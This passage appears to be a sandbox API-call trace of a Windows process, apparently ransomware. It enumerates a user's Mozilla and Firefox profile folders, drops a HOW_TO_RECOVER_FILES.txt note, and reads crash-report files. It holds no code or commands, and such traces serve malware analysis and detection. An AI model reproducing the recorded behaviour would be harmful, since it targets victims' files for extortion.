nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0258.565] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.565] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0258.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0258.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0258.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x32 [0258.566] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0258.566] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.566] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.566] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0258.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions", lpFilePart=0x0) returned 0x32 [0258.567] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0258.567] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.567] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd8b64ce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.567] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0258.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0258.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0258.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0258.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0258.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\extensions\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.568] GetFileType (hFile=0x8a8) returned 0x1 [0258.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0258.568] GetFileType (hFile=0x8a8) returned 0x1 [0258.569] WriteFile (in: hFile=0x8a8, lpBuffer=0x37a7268*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x37a7268*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0258.569] CloseHandle (hObject=0x8a8) returned 1 [0258.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0258.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2f [0258.569] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0259.393] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.425] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1 [0259.425] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending Pings", cAlternateFileName="PENDIN~1")) returned 1 [0259.425] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0259.425] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini", cAlternateFileName="")) returned 1 [0259.425] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.426] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0259.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0259.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0259.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0259.426] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2f [0259.426] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0259.426] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending Pings", cAlternateFileName="PENDIN~1")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini", cAlternateFileName="")) returned 1 [0259.427] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini", cAlternateFileName="")) returned 0 [0259.427] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0259.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0259.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0259.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0259.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x3d [0259.427] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0259.428] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.428] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="events", cAlternateFileName="")) returned 1 [0259.428] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallTime20170824053622", cAlternateFileName="INSTAL~1")) returned 1 [0259.428] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.428] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0259.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0259.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0259.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0259.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpFilePart=0x0) returned 0x3d [0259.429] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0259.429] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="events", cAlternateFileName="")) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallTime20170824053622", cAlternateFileName="INSTAL~1")) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallTime20170824053622", cAlternateFileName="INSTAL~1")) returned 0 [0259.429] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0259.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0259.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0259.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", lpFilePart=0x0) returned 0x57 [0259.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0259.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), fInfoLevelId=0x0, lpFileInformation=0x38f90c0 | out: lpFileInformation=0x38f90c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa)) returned 1 [0259.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0259.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", lpFilePart=0x0) returned 0x57 [0259.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0259.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20170824053622"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0259.431] GetFileType (hFile=0x8a0) returned 0x1 [0259.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0259.431] GetFileType (hFile=0x8a0) returned 0x1 [0259.431] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0xa [0259.431] ReadFile (in: hFile=0x8a0, lpBuffer=0x38f9408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x38f9408*, lpNumberOfBytesRead=0x204ec2f8*=0xa, lpOverlapped=0x0) returned 1 [0259.431] CloseHandle (hObject=0x8a0) returned 1 [0259.520] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622", lpFilePart=0x0) returned 0x57 [0259.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0259.520] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170824053622" (normalized: 